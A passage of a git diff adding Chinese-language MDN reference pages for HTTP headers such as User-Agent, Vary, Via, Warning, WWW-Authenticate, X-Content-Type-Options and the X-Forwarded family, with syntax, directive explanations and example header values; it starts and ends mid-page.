(<system-information>) <platform> (<platform-details>) <extensions></pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><product></dt> + <dd>产品识别码。</dd> + <dt><product-version></dt> + <dd>产品版本号。</dd> + <dt><comment></dt> + <dd>零个或多个关于组成产品信息的注释。</dd> +</dl> + +<h2 id="Firefox_UA_字符串">Firefox UA 字符串</h2> + +<p>查阅 <a href="/en-US/docs/Web/HTTP/Headers/User-Agent/Firefox">Firefox 用户代理字符串参考</a>来获取更多关于基于 Firefox 和 Gecko 渲染引擎的用户代理字符串的细节信息。Firefox 的用户代理字符串自身可以分为四部分:</p> + +<p><strong>Mozilla/5.0 (<em>platform</em>; rv:<em>geckoversion</em>) Gecko/<em>geckotrail</em> Firefox/<em>firefoxversion</em></strong></p> + +<ul> + <li><em><strong>Mozilla/5.0 </strong></em>是一个通用标记符号,用来表示与 Mozilla 兼容,这几乎是现代浏览器的标配。</li> + <li><strong><em>platform</em></strong> 用来说明浏览器所运行的原生系统平台(例如 Windows、Mac、Linux 或 Android),以及是否运行在手机上。搭载 Firefox OS 的手机仅简单地使用了 "Mobile" 这个字符串;因为 web 本身就是平台。注意 <em><strong>platform</strong> </em>可能会包含多个使用 "; " 隔开的标记符号。参见下文获取更多的细节信息及示例。</li> + <li><strong>rv:<em>geckoversion</em></strong> 表示 Gecko 的发布版本号(例如 "17.0")。在近期发布的版本中,<strong><em>geckoversion</em></strong> 表示的值与 <strong><em>firefoxversion </em></strong>相同。</li> + <li><strong><em>Gecko/geckotrail</em></strong> 表示该浏览器基于 Gecko 渲染引擎。</li> + <li>在桌面浏览器中, <em><strong>geckotrail</strong></em> 是固定的字符串 "20100101" 。</li> + <li><em><strong>Firefox/firefoxversion</strong></em> 表示该浏览器是 Firefox,并且提供了版本号信息(例如 "17.0")。</li> +</ul> + +<h3 id="示例">示例</h3> + +<pre>Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X <em>x.y</em>; rv:42.0) Gecko/20100101 Firefox/42.0 +</pre> + +<h2 id="Chrome_UA_字符串">Chrome UA 字符串</h2> + +<p>Chrome (或 Chromium/blink-based engines)用户代理字符串与 Firefox 的格式类似。为了兼容性,它添加了诸如 "KHTML, like Gecko" 和 "Safari" 这样的字符串。</p> + +<h3 id="示例_2">示例</h3> + +<pre>Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36</pre> + +<h2 id="Opera_UA_字符串">Opera UA 字符串</h2> + +<p>现在,Opera 也是一款基于 blink 引擎的浏览器,这也是为什么它的 UA 看起来(和 Chrome 的)几乎一样的原因,不过,它添加了一个 "<code>OPR/<version></code>"。</p> + +<h3 id="示例_3">示例</h3> + +<pre>Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41</pre> + +<p>使用 Presto 引擎的、更老的 Opera 浏览器使用:</p> + +<pre>Opera/9.80 (Macintosh; Intel Mac OS X; U; en) Presto/2.2.15 Version/10.00 +Opera/9.60 (Windows NT 6.0; U; en) Presto/2.1.1</pre> + +<h2 id="Safari_UA_字符串">Safari UA 字符串</h2> + +<p>在这个示例中,这是 Safari 的移动版本的用户代理字符串。因为其中包含了单词 "Mobile" 。</p> + +<h3 id="示例_4">示例</h3> + +<pre>Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1</pre> + +<h2 id="Internet_Explorer_UA_字符串">Internet Explorer UA 字符串</h2> + +<h3 id="示例_5">示例</h3> + +<pre>Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)</pre> + +<h2 id="爬虫和机器人的_UA_字符串">爬虫和机器人的 UA 字符串</h2> + +<h3 id="示例_6">示例</h3> + +<pre>Googlebot/2.1 (+http://www.google.com/bot.html)</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">标题</th> + </tr> + <tr> + <td> + <p>{{RFC("7231", "User-Agent", "5.5.3")}}</p> + + <p>{{RFC(2616, "User-Agent", "14.43")}}</p> + </td> + <td> + <p>超文本传输协议 (HTTP/1.1): 语义和内容</p> + + <p>超文本传输协议 -- HTTP/1.1</p> + </td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden"><span id="result_box" lang="zh-CN"><span>此页面中的兼容性表格由结构化数据生成。</span> <span>如果您想为数据做出贡献,请查看<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data </a>并向我们发送拉取请求。</span></span></p> + +<p>{{Compat("http.headers.User-Agent")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li><a href="https://hacks.mozilla.org/2013/09/user-agent-detection-history-and-checklist/">User-Agent 探测,历史及检查清单</a></li> + <li><a href="/en-US/docs/Web/HTTP/Headers/User-Agent/Firefox">Firefox 用户代理字符串参考</a></li> + <li> + <p><a href="/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent">使用用户代理字段进行浏览器检测</a></p> + </li> +</ul> diff --git a/files/zh-cn/web/http/headers/vary/index.html b/files/zh-cn/web/http/headers/vary/index.html new file mode 100644 index 0000000000..51f2c1bec6 --- /dev/null +++ b/files/zh-cn/web/http/headers/vary/index.html @@ -0,0 +1,81 @@ +--- +title: Vary +slug: Web/HTTP/Headers/Vary +translation_of: Web/HTTP/Headers/Vary +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Vary</code></strong> 是一个HTTP响应头部信息,它决定了对于未来的一个请求头,应该用一个缓存的回复(response)还是向源服务器请求一个新的回复。它被服务器用来表明在 <a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a> algorithm(内容协商算法)中选择一个资源代表的时候应该使用哪些头部信息(headers).</p> + +<p>在响应状态码为 {{HTTPStatus("304")}} <code>Not Modified</code> 的响应中,也要设置 Vary 首部,而且要与相应的 {{HTTPStatus("200")}} <code>OK</code> 响应设置得一模一样。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox notranslate">Vary: * +Vary: <header-name>, <header-name>, ... +</pre> + +<h2 id="说明">说明</h2> + +<dl> + <dt>*</dt> + <dd>所有的请求都被视为唯一并且非缓存的,使用{{HTTPHeader("Cache-Control")}}<code>: no-store</code>,来实现则更适用,这样用于说明不存储该对象更加清晰。</dd> + <dt><header-name></dt> + <dd> 逗号分隔的一系列http头部名称,用于确定缓存是否可用。</dd> +</dl> + +<h2 id="例子">例子</h2> + +<h3 id="动态服务">动态服务</h3> + +<p><code><font face="Open Sans, arial, sans-serif">哪种情况下使用 </font>Vary: 对于User-Agent</code> 头部信息,例如你提供给移动端的内容是不同的,可用防止你客户端误使用了用于桌面端的缓存。 并可帮助Google和其他搜索引擎来发现你的移动端版本的页面,同时告知他们不需要<a href="https://en.wikipedia.org/wiki/Cloaking">Cloaking</a>。</p> + +<pre class="notranslate">Vary: User-Agent</pre> + +<h2 id="定义">定义</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">版本</th> + <th scope="col">标题</th> + </tr> + <tr> + <td>{{RFC("7231", "Vary", "7.1.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Vary")}}</p> + +<h2 id="更多关于浏览器兼容性:">更多关于浏览器兼容性:</h2> + +<ul> + <li><a href="https://blogs.msdn.microsoft.com/ieinternals/2009/06/17/vary-with-care/">Vary with care – Vary header problems in IE6-9</a></li> +</ul> + +<h2 id="更多">更多</h2> + +<ul> + <li>{{HTTPHeader("Cache-Control")}}</li> + <li>{{HTTPHeader("User-Agent")}}</li> + <li><a href="https://www.fastly.com/blog/best-practices-for-using-the-vary-header">Best Practices for Using the Vary Header – fastly.com</a></li> +</ul> diff --git a/files/zh-cn/web/http/headers/via/index.html b/files/zh-cn/web/http/headers/via/index.html new file mode 100644 index 0000000000..8fc87f6919 --- /dev/null +++ b/files/zh-cn/web/http/headers/via/index.html @@ -0,0 +1,80 @@ +--- +title: Via +slug: Web/HTTP/Headers/Via +tags: + - 代理 + - 循环请求 + - 首部 +translation_of: Web/HTTP/Headers/Via +--- +<p>{{HTTPSidebar}}</p> + +<p><code><strong>Via</strong></code> 是一个通用首部,是由代理服务器添加的,适用于正向和反向代理,在请求和响应首部中均可出现。这个消息首部可以用来追踪消息转发情况,防止循环请求,以及识别在请求或响应传递链中消息发送者对于协议的支持能力。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("General header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre>Via: [ <protocol-name> "/" ] <protocol-version> <host> [ ":" <port> ] +or +Via: [ <protocol-name> "/" ] <protocol-version> <pseudonym> +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><protocol-name></dt> + <dd>可选。所使用的协议名称,如 "HTTP"。</dd> + <dt><protocol-version></dt> + <dd>所使用的协议版本号, 例如 "1.1"。</dd> + <dt><host> and <port></dt> + <dd>公共代理的URL及端口号。</dd> + <dt><pseudonym></dt> + <dd>内部代理的名称或别名。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>Via: 1.1 vegur +Via: HTTP/1.1 GWA +Via: 1.0 fred, 1.1 p.example.net +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7230", "Via", "5.7.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Via")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("X-Forwarded-For")}}</li> + <li><a href="https://github.com/heroku/vegur">Heroku 的代理库 Vegur</a></li> +</ul> diff --git a/files/zh-cn/web/http/headers/warning/index.html b/files/zh-cn/web/http/headers/warning/index.html new file mode 100644 index 0000000000..1b2cdcd452 --- /dev/null +++ b/files/zh-cn/web/http/headers/warning/index.html @@ -0,0 +1,141 @@ +--- +title: Warning +slug: Web/HTTP/Headers/Warning +tags: + - 警告 + - 警告码 + - 通用首部 +translation_of: Web/HTTP/Headers/Warning +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Warning</code></strong> 是一个通用报文首部,包含报文当前状态可能存在的问题。在响应中可以出现多个 Warning 首部。</p> + +<p>一般来说, Warning 首部可以应用于任何类型的报文。然而一部分警告码(warn-code)是为缓存代理服务器定制的,并且只可以应用在响应报文中。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("General header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Warning: <warn-code> <warn-agent> <warn-text> [<warn-date>] +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><warn-code></dt> + <dd>三位数字警告码。第一位数字表示 Warning 信息在验证之后是否需要从已存储的响应中删除。 + <ul> + <li><code>1xx</code> 警告码描述了关于当前响应的新鲜度或者验证状态的警告信息,并且将会在验证之后被缓存服务器删除。</li> + <li> + <p><code>2xx</code> 警告码描述了验证之后不会被修复的某些展现内容方面的警告信息,并且在验证之后不会被缓存服务器删除。</p> + </li> + </ul> + </dd> + <dt><warn-agent></dt> + <dd> + <p>添加到 Warning 首部的服务器或者软件的名称或者伪名称(当代理不可知的时候可以用 "-" 代替)。</p> + </dd> + <dt><warn-text></dt> + <dd>用来描述错误信息的警告文本。</dd> + <dt><warn-date></dt> + <dd>可选。假如多个 Warning 被发送,那么需包含一个与 {{HTTPHeader("Date")}} 首部相对应的日期字段。</dd> +</dl> + +<h2 id="警告码">警告码</h2> + +<p><a href="http://www.iana.org/assignments/http-warn-codes/http-warn-codes.xhtml">由 iana.org 维护的 HTTP 警告码登记表</a>规定了警告码的命名空间。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">码值</th> + <th scope="col">文字描述</th> + <th scope="col">详细说明</th> + </tr> + </thead> + <tbody> + <tr> + <td>110</td> + <td>Response is Stale</td> + <td>由缓存服务器提供的响应已过期(设置的失效时间已过)。</td> + </tr> + <tr> + <td>111</td> + <td>Revalidation Failed</td> + <td> 由于无法访问服务器,响应验证失败。</td> + </tr> + <tr> + <td>112</td> + <td>Disconnected Operation</td> + <td>缓存服务器断开连接。</td> + </tr> + <tr> + <td>113</td> + <td>Heuristic Expiration</td> + <td>如果缓存服务器采用启发式方法,将缓存的有效时间设定为24小时,而在该响应的年龄超过24小时时发送。</td> + </tr> + <tr> + <td>199</td> + <td>Miscellaneous Warning</td> + <td>任意的、未明确指定的警告信息。</td> + </tr> + <tr> + <td>214</td> + <td>Transformation Applied</td> + <td>由代理服务器添加,如果它对返回的展现内容进行了任何转换,比如改变了内容编码、媒体类型等。</td> + </tr> + <tr> + <td>299</td> + <td>Miscellaneous Warning</td> + <td>与199类似,只不过指代的是持久化警告。</td> + </tr> + </tbody> +</table> + +<h2 id="示例">示例</h2> + +<pre>Warning: 110 anderson/1.3.37 "Response is stale" + +Date: Wed, 21 Oct 2015 07:28:00 GMT +Warning: 112 - "cache down" "Wed, 21 Oct 2015 07:28:00 GMT" +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7234", "Warning", "5.5")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Warning")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("Date")}}</li> + <li><a href="/en-US/docs/Web/HTTP/Status">HTTP respnose status codes</a></li> +</ul> diff --git a/files/zh-cn/web/http/headers/www-authenticate/index.html b/files/zh-cn/web/http/headers/www-authenticate/index.html new file mode 100644 index 0000000000..cbc9f6905d --- /dev/null +++ b/files/zh-cn/web/http/headers/www-authenticate/index.html @@ -0,0 +1,85 @@ +--- +title: WWW-Authenticate +slug: Web/HTTP/Headers/WWW-Authenticate +tags: + - HTTP + - HTTP Header + - Reference + - Response Header + - header +translation_of: Web/HTTP/Headers/WWW-Authenticate +--- +<div>{{HTTPSidebar}}</div> + +<p> HTTP <strong><code>WWW-Authenticate</code></strong> 响应头定义了使用何种验证方式去获取对资源的连接。</p> + +<p><code>WWW-Authenticate</code> header通常会和一个 {{HTTPStatus("401")}} <code>Unauthorized</code> 的响应一同被发送。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox notranslate">WWW-Authenticate: <type> realm=<realm> +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><type></dt> + <dd><a href="/en-US/docs/Web/HTTP/Authentication#Authentication_schemes">Authentication type</a>,一个通用类型 <a href="/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme">"Basic"</a>。 IANA 维护了一个 <a href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">list of Authentication schemes</a>。</dd> + <dt>realm=<realm></dt> + <dd>一个保护区域的描述。如果未指定realm, 客户端通常显示一个格式化的主机名来替代。</dd> + <dt>charset=<charset></dt> + <dd>当提交用户名和密码时,告知客户端服务器首选的编码方案。唯一的允许值是不区分大小写的字符串"UTF-8"。这与realm字符串的编码无关。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<p>通常的, 一个服务器响应包含一个像如下<code>WWW-Authenticate</code>的头信息:</p> + +<pre class="notranslate">WWW-Authenticate: Basic + +WWW-Authenticate: Basic realm="Access to the staging site" +</pre> + +<p>作为一个例子,可以查看<a href="/en-US/docs/Web/HTTP/Authentication"> HTTP authentication</a> 页面,了解如何配置Apache和nginx服务器来使用HTTP basic authentication密码保护你的站点。</p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7235", "WWW-Authenticate", "4.1")}}</td> + <td>HTTP/1.1: Authentication</td> + </tr> + <tr> + <td>{{RFC("7617")}}</td> + <td>The 'Basic' HTTP Authentication Scheme</td> + </tr> + </tbody> +</table> + +<h2 id="另请参阅">另请参阅</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a></li> + <li>{{HTTPHeader("Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authenticate")}}</li> + <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/x-content-type-options/index.html b/files/zh-cn/web/http/headers/x-content-type-options/index.html new file mode 100644 index 0000000000..14143d126b --- /dev/null +++ b/files/zh-cn/web/http/headers/x-content-type-options/index.html @@ -0,0 +1,83 @@ +--- +title: X-Content-Type-Options +slug: Web/HTTP/Headers/X-Content-Type-Options +tags: + - MIME嗅探 + - 响应首部 + - 超文本传输协议 + - 首部 +translation_of: Web/HTTP/Headers/X-Content-Type-Options +--- +<div>{{HTTPSidebar}}</div> + +<p><code><strong>X-Content-Type-Options</strong></code> HTTP 消息头相当于一个提示标志,被服务器用来提示客户端一定要遵循在 {{HTTPHeader("Content-Type")}} 首部中对 <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME 类型</a> 的设定,而不能对其进行修改。这就禁用了客户端的 <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#MIME_sniffing">MIME 类型嗅探</a>行为,换句话说,也就是意味着网站管理员确定自己的设置没有问题。</p> + +<p>该消息头最初是由微软在 IE 8 浏览器中引入的,提供给网站管理员用作禁用内容嗅探的手段,内容嗅探技术可能会把不可执行的 MIME 类型转变为可执行的 MIME 类型。在此之后,其他浏览器也相继引入了这个消息头,尽管它们的 MIME 嗅探算法没有那么有侵略性。</p> + +<p>安全测试人员通常期望站点设置了该消息头。</p> + +<p class="note">注意: <code>nosniff</code> 只应用于 "<code>script</code>" 和 "<code>style</code>" 两种类型。事实证明,将其应用于图片类型的文件会导致<a href="https://github.com/whatwg/fetch/issues/395">与现有的站点冲突</a>。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">X-Content-Type-Options: nosniff +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><code>nosniff</code></dt> + <dd>下面两种情况的请求将被阻止: + <ul> + <li>请求类型是"<code>style</code>" 但是 MIME 类型不是 "<code>text/css</code>",</li> + <li>请求类型是"<code>script</code>" 但是 MIME 类型不是 <a href="https://html.spec.whatwg.org/multipage/scripting.html#javascript-mime-type">JavaScript MIME 类型</a>。</li> + </ul> + </dd> +</dl> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName("Fetch", "#x-content-type-options-header", "X-Content-Type-Options definition")}}</td> + <td>{{Spec2("Fetch")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.X-Content-Type-Options")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("Content-Type")}}</li> + <li>The <a href="https://blogs.msdn.microsoft.com/ie/2008/09/02/ie8-security-part-vi-beta-2-update/">original definition</a> of X-Content-Type-Options by Microsoft.</li> + <li>The <a href="https://mozilla.github.io/http-observatory-website/">Mozilla Observatory</a> tool testing the configuration (including this header) of Web sites for safety and security</li> + <li> + <p><a href="https://blog.mozilla.org/security/2016/08/26/mitigating-mime-confusion-attacks-in-firefox/">Mitigating MIME Confusion Attacks in Firefox</a></p> + </li> +</ul> diff --git a/files/zh-cn/web/http/headers/x-forwarded-for/index.html b/files/zh-cn/web/http/headers/x-forwarded-for/index.html new file mode 100644 index 0000000000..01399018d2 --- /dev/null +++ b/files/zh-cn/web/http/headers/x-forwarded-for/index.html @@ -0,0 +1,72 @@ +--- +title: X-Forwarded-For +slug: Web/HTTP/Headers/X-Forwarded-For +tags: + - 请求首部 + - 转发 + - 首部 +translation_of: Web/HTTP/Headers/X-Forwarded-For +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>X-Forwarded-For</code></strong> (XFF) 在客户端访问服务器的过程中如果需要经过HTTP代理或者负载均衡服务器,可以被用来获取最初发起请求的客户端的IP地址,这个消息首部成为事实上的标准。在消息流从客户端流向服务器的过程中被拦截的情况下,服务器端的访问日志只能记录代理服务器或者负载均衡服务器的IP地址。如果想要获得最初发起请求的客户端的IP地址的话,那么 X-Forwarded-For 就派上了用场。</p> + +<p>这个消息首部会被用来进行调试和统计,以及生成基于位置的定制化内容,按照设计的目的,它会暴露一定的隐私和敏感信息,比如客户端的IP地址。所以在应用此消息首部的时候,需要将用户的隐私问题考虑在内。</p> + +<p>HTTP 协议中的 {{HTTPHeader("Forwarded")}} 是这个消息首部的标准化版本。</p> + +<p><code>X-Forwarded-For </code>也是一个电子邮件相关协议中用到的首部,用来表示一封电子邮件是从其他账户转发过来的。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">X-Forwarded-For: <client>, <proxy1>, <proxy2> +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><client></dt> + <dd>客户端的IP地址。</dd> + <dt><proxy1>, <proxy2></dt> + <dd>如果一个请求经过了多个代理服务器,那么每一个代理服务器的IP地址都会被依次记录在内。也就是说,最右端的IP地址表示最近通过的代理服务器,而最左端的IP地址表示最初发起请求的客户端的IP地址。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>X-Forwarded-For: 2001:db8:85a3:8d3:1319:8a2e:370:7348 + +X-Forwarded-For: 203.0.113.195 + +X-Forwarded-For: 203.0.113.195, 70.41.3.18, 150.172.238.178 +</pre> + +<p>其他非标准形式:</p> + +<pre># Used for some Google services +X-ProxyUser-Ip: 203.0.113.19</pre> + +<h2 id="规范">规范</h2> + +<p>不属于任何一份既有规范。这个消息首部的标准版本是 {{HTTPHeader("Forwarded")}}.</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("Forwarded")}}</li> + <li>{{HTTPHeader("X-Forwarded-Host")}}</li> + <li>{{HTTPHeader("X-Forwarded-Proto")}}</li> + <li>{{HTTPHeader("Via")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/x-forwarded-host/index.html b/files/zh-cn/web/http/headers/x-forwarded-host/index.html new file mode 100644 index 0000000000..22e93c14ca --- /dev/null +++ b/files/zh-cn/web/http/headers/x-forwarded-host/index.html @@ -0,0 +1,64 @@ +--- +title: X-Forwarded-Host +slug: Web/HTTP/Headers/X-Forwarded-Host +tags: + - 代理 + - 请求首部 + - 负载均衡 + - 超文本传输协议 + - 转发 + - 首部 +translation_of: Web/HTTP/Headers/X-Forwarded-Host +--- +<div>{{HTTPSidebar}}</div> + +<p>The <strong><code>X-Forwarded-Host</code></strong> (XFH) 是一个事实上的标准首部,用来确定客户端发起的请求中使用 {{HTTPHeader("Host")}} 指定的初始域名。</p> + +<p>反向代理(如负载均衡服务器、CDN等)的域名或端口号可能会与处理请求的源头服务器有所不同,在这种情况下,X-Forwarded-Host 可以用来确定哪一个域名是最初被用来访问的。</p> + +<p>这个消息首部会被用来进行调试和统计,以及生成基于位置的定制化内容,按照设计的目的,它会暴露一定的隐私和敏感信息,比如客户端的IP地址。所以在应用此消息首部的时候,需要将用户的隐私问题考虑在内。</p> + +<p>HTTP 协议中的 {{HTTPHeader("Forwarded")}} 是这个消息首部的标准化版本。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">X-Forwarded-Host: <host> +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><host></dt> + <dd>被转发的服务器的域名。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>X-Forwarded-Host: id42.example-cdn.com +</pre> + +<h2 id="规范">规范</h2> + +<p>不属于任何一份既有规范。这个消息首部的标准版本是 {{HTTPHeader("Forwarded")}}.</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("Host")}}</li> + <li>{{HTTPHeader("Forwarded")}}</li> + <li>{{HTTPHeader("X-Forwarded-For")}}</li> + <li>{{HTTPHeader("X-Forwarded-Proto")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/x-forwarded-proto/index.html b/files/zh-cn/web/http/headers/x-forwarded-proto/index.html new file mode 100644 index 0000000000..5e3b9e037e --- /dev/null +++ b/files/zh-cn/web/http/headers/x-forwarded-proto/index.html @@ -0,0 +1,65 @@ +--- +title: X-Forwarded-Proto +slug: Web/HTTP/Headers/X-Forwarded-Proto +tags: + - HTTP首部 + - 请求首部 + - 非标准化 +translation_of: Web/HTTP/Headers/X-Forwarded-Proto +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>X-Forwarded-Proto</code></strong> (XFP) 是一个事实上的标准首部,用来确定客户端与代理服务器或者负载均衡服务器之间的连接所采用的传输协议(HTTP 或 HTTPS)。在服务器的访问日志中记录的是负载均衡服务器与服务器之间的连接所使用的传输协议,而非客户端与负载均衡服务器之间所使用的协议。为了确定客户端与负载均衡服务器之间所使用的协议, X-Forwarded-Proto 就派上了用场。</p> + +<p>HTTP 协议中的 {{HTTPHeader("Forwarded")}} 是这个消息首部的标准化版本。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">X-Forwarded-Proto: <protocol> +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><protocol></dt> + <dd>经过转发的传输协议 (http 或 https)。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>X-Forwarded-Proto: https</pre> + +<p>其他非标准形式:</p> + +<pre># Microsoft +Front-End-Https: on + +X-Forwarded-Protocol: https +X-Forwarded-Ssl: on +X-Url-Scheme: https +</pre> + +<h2 id="规范">规范</h2> + +<p>不属于任何一份既有规范。这个消息首部的标准版本是 {{HTTPHeader("Forwarded")}}.</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("Forwarded")}}</li> + <li>{{HTTPHeader("X-Forwarded-For")}}</li> + <li>{{HTTPHeader("X-Forwarded-Host")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/x-xss-protection/index.html b/files/zh-cn/web/http/headers/x-xss-protection/index.html new file mode 100644 index 0000000000..2c7bcc3086 --- /dev/null +++ b/files/zh-cn/web/http/headers/x-xss-protection/index.html @@ -0,0 +1,84 @@ +--- +title: X-XSS-Protection +slug: Web/HTTP/Headers/X-XSS-Protection +tags: + - X-XSS-Protection + - 跨站脚本攻击 +translation_of: Web/HTTP/Headers/X-XSS-Protection +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <strong><code>X-XSS-Protection</code></strong> 响应头是 Internet Explorer,Chrome 和 Safari 的一个特性,当检测到跨站脚本攻击 